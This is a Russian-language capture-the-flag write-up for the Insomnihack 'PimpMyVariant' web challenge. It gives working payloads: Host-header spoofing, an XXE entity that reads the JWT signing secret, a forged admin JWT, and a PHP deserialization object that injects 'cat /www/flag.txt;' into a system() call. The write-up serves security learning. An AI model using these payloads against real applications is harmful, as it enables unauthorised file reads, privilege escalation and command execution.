Web category — PimpMyVariant.
Challenge.
Points: 76
Solves: 77
Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch
Решение.
К сожалению во время соревнования не успел решить это задание, но был буквально в одном шаге от получения флага. Так что всё же решил опубликовать райт ап.
На главной странице веб сайта нет абсолютно ничего, кроме списка букв греческого алфавита.
В сурс коде тоже ничего интересного, значит пробуем посмотреть директорию robots.txt
.
Получаем 5 новых эндпоинтов. В директориях flag.txt
и todo.txt
ничего интерсеного, так что смотрим readme
.
Директория readme
На ресурсе говорится, что имя хоста не разрешено. Перехватываем запрос в BurpSuite, и пробуем поменять заголовок Host: pimpmyvariant.insomnihack.ch
на Host: 127.0.0.1
. Чтобы каждый раз не менять заголовок Host, в BurpSuite во вкладке Proxy -> Options -> Match and Replace добавляем правило, чтобы Burp автоматически заменял заголовок Host: pimpmyvariant.insomnihack.ch
на Host: 127.0.0.1
если находит его в запросе.
Узнаём, что секретный ключ, которым подписываются JWT токены лежит в /www/jwt.secret.txt
. Узнав его, мы сможем как угодно менять параметры в теле JWT токена.
Директория new
Пробуем отправить рандомные значения (test), и посмотреть на запрос в BurpSuite.
Как видно, данные отправляются в XML формате. К тому же нам выдаётся тот самый JWT токен и нас редиректит на главную страницу. На главной странице появляется в конце списка наша отправленная строка.
Если данные отправляются в XML формате, значит можно попробовать XXE атаку. Пробуем перехватить запрос и меняем тело запрос на следующее:
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/www/jwt.secret.txt"> ]>
<root><name>&xxe;</name></root>
В ответе сервер сообщает Variant name added!
, и на главной странице появляется наш секретный ключ для подписи JWT:
54b163783c46881f1fe7ee05f90334aa
Попробовал получить значение из /www/flag.txt
, но сервер вернул в ответ — Invalid variant name ! Allowed only ^[A-Za-z0-9 -_]{1,33}$
Попробуем расшифровать JWT токен. Я всегда это делаю на сайте https://jwt.io/.
Как видно в теле три параметра:
- variants — список который отображается на главной странице
- settings — сериализованные данные (которые нам интереснее всего)
- exp — время до которого токен действителен
Сейчас внутри settings параметр isAdmin равен false. Сделаем его равным true и подпишем ключом JWT. И теперь с новым JWT токеном перейти в директорию /log
. Со старым токеном писало, что доступ есть только у админа.
Директория log
Из этой ошибки узнаём, о новом эндпоинте /www/UpdateLogViewer.inc
, пробуем его скачать по ссылке — http://pimpmyvariant.insomnihack.ch/UpdateLogViewer.inc
.
Заметка. Хоть в этом файле и PHP код, так как расширение у него не
.php
, то он вместо того, чтобы рендериться веб сайтом, просто качается.
UpdateLogViewer.inc
<?php
class UpdateLogViewer
{
public string $packgeName;
public string $logCmdReader;
private static ?UpdateLogViewer $singleton = null;
private function __construct(string $packgeName)
{
$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{
if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}
return self::$singleton;
}
public static function read():string
{
return system(self::logFile());
}
public static function logFile():string
{
return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()// serialize
{
self::$singleton = $this;
}
};
Последний шаг. PHP Object Injection.
Из интересного в этом файле, то что в методе read()
, вызывается системная функция — system()
. Учитывая, что в JWT токене были сериализованные данные, делаем вывод, что тут атака PHP Object Injection или конкретнее — PHP Deserialization Vulnerability.
Мы можем контролировать переменные — $packgeName
и $logCmdReader
. По дефолту код пытается выполнить что-то типа — cat /var/log/UpdateLogViewer_${packgeName}.log
. И так как команда cat
хранится в переменной $logCmdReader
, то можно получить примерно следующее — cat *; /var/log/UpdateLogViewer_${packgeName}.log
. Для этого нужно создать сериализованный объект.
Для начала объясню как выглядит сериализованный объект и что в нем за что отвечает. Возьмём, то что было записано JWT в settings:
a:1:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"4e2dc98c14e1087091352fcca515608e2958e12e";}}
- a:<кол-во элементов>:{Элементы} — указывает кол-во элементов внутри
a:1:{...}
— то есть у нас внутри 1 объект - i:<int число>; — указывает номер объекта
i:0;
— номера в массиве начинаются с нуля - O:<длина имени объекта>:<Имя класса>:<кол-во сущностей в классе>:{параметры}
O:4:"User":3:{}
— то есть у нас класс User и внутри у него 3 параметра - s:<длина параметра>:<название параметра>;s:<длина значения параметра>:<значение параметра>
s:4:"name";s:4:"Anon";
— то есть у параметра name значение — Anon.
Далее менятся могут только типы данных, где: - d:Float
- b:Boolean
- i:Integer
А мы хотим добавить сериализованный объект в которым будем обращаться к классу UpdateLogViewer
, а параметры будут $packgeName
и $logCmdReader
. В итоге получаем, что-то типа такого:
a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:4:"1234";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:4:"test";s:12:"logCmdReader";s:18:"cat /www/flag.txt;";}}
Эскейпим двойные кавычки и вставляем в параметр "settings" JWT токена:
Заходим в /log
и получаем заветный флаг:
🚩INS{P!mpmYV4rianThat’s1flag} 🚩
Всем спасибо за участие!